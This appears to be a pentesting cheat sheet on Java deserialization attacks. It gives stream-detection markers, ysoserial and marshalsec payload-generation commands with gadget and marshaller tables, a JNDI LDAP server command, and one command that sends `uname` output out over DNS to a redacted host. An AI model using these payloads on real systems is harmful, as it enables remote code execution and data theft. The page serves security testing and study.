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Java Deserialization


  • "AC ED 00 05" in Hex
  • AC ED: STREAM_MAGIC. Specifies that this is a serialization protocol.
  • 00 05: STREAM_VERSION. The serialization version.
  • "rO0" in Base64
  • Content-type = "application/x-java-serialized-object"
  • "H4sIAAAAAAAAAJ" in gzip(base64)



frohoff/ysoserial : A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.

java -jar ysoserial.jar CommonsCollections1 calc.exe > commonpayload.bin
java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin
java -jar ysoserial.jar Groovy1 'ping' > payload.bin
java -jar ysoserial.jar Jdk7u21 bash -c 'nslookup `uname`.[redacted]' | gzip | base64

List of payloads included in ysoserial:

Payload             Authors                                Dependencies                                                                                                                                                                                        
-------             -------                                ------------                                                                                                                                                                                        
AspectJWeaver       @Jang                                  aspectjweaver:1.9.2, commons-collections:3.2.2                                                                                                                                                      
BeanShell1          @pwntester, @cschneider4711            bsh:2.0b5                                                                                                                                                                                           
C3P0                @mbechler                              c3p0:, mchange-commons-java:0.2.11                                                                                                                                                           
Click1              @artsploit                             click-nodeps:2.3.0, javax.servlet-api:3.1.0                                                                                                                                                         
Clojure             @JackOfMostTrades                      clojure:1.8.0                                                                                                                                                                                       
CommonsBeanutils1   @frohoff                               commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2                                                                                                                               
CommonsCollections1 @frohoff                               commons-collections:3.1                                                                                                                                                                             
CommonsCollections2 @frohoff                               commons-collections4:4.0                                                                                                                                                                            
CommonsCollections3 @frohoff                               commons-collections:3.1                                                                                                                                                                             
CommonsCollections4 @frohoff                               commons-collections4:4.0                                                                                                                                                                            
CommonsCollections5 @matthias_kaiser, @jasinner            commons-collections:3.1                                                                                                                                                                             
CommonsCollections6 @matthias_kaiser                       commons-collections:3.1                                                                                                                                                                             
CommonsCollections7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1                                                                                                                                                                             
FileUpload1         @mbechler                              commons-fileupload:1.3.1, commons-io:2.4
Groovy1             @frohoff                               groovy:2.3.9                                                                                                                                                                                        
Hibernate1          @mbechler                                                                                                                                                                                                                                  
Hibernate2          @mbechler                                                                                                                                                                                                                                  
JBossInterceptors1  @matthias_kaiser                       javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21                                            
JRMPClient          @mbechler                                                                                                                                                                                                                                  
JRMPListener        @mbechler                                                                                                                                                                                                                                  
JSON1               @mbechler                              json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
JavassistWeld1      @matthias_kaiser                       javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21                                                        
Jdk7u21             @frohoff                                                                                                                                                                                                                                   
Jython1             @pwntester, @cschneider4711            jython-standalone:2.5.2                                                                                                                                                                             
MozillaRhino1       @matthias_kaiser                       js:1.7R2                                                                                                                                                                                            
MozillaRhino2       @_tint0                                js:1.7R2                                                                                                                                                                                            
Myfaces1            @mbechler                                                                                                                                                                                                                                  
Myfaces2            @mbechler                                                                                                                                                                                                                                  
ROME                @mbechler                              rome:1.0                                                                                                                                                                                            
Spring1             @frohoff                               spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE                                                                                                                                               
Spring2             @mbechler                              spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2                                                                                                           
URLDNS              @gebl                                                                                                                                                                                                                                      
Vaadin1             @kai_ullrich                           vaadin-server:7.7.14, vaadin-shared:7.7.14                                                                                                                                                          
Wicket1             @jacob-baines                          wicket-util:6.23.0, slf4j-api:1.6.4   

Burp extensions using ysoserial

Alternative Tooling

$ java -cp marshalsec.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [<arguments...>]]
$ java -cp marshalsec.jar marshalsec.JsonIO Groovy "cmd" "/c" "calc"
$ java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://localhost:8000\#exploit.JNDIExploit 1389

-a - generates/tests all payloads for that marshaller
-t - runs in test mode, unmarshalling the generated payloads after generating them.
-v - verbose mode, e.g. also shows the generated payload in test mode.
gadget_type - Identifier of a specific gadget, if left out will display the available ones for that specific marshaller.
arguments - Gadget specific arguments

Payload generators for the following marshallers are included:

Marshaller Gadget Impact
BlazeDSAMF(0|3|X) JDK only escalation to Java serialization
various third party libraries RCEs
Hessian|Burlap various third party RCEs
Castor dependency library RCE
Jackson possible JDK only RCE, various third party RCEs
Java yet another third party RCE
JsonIO JDK only RCE
Kryo third party RCEs
KryoAltStrategy JDK only RCE
Red5AMF(0|3) JDK only RCE
SnakeYAML JDK only RCEs
XStream JDK only RCEs
YAMLBeans third party RCE


Require: *


Last update: November 3, 2022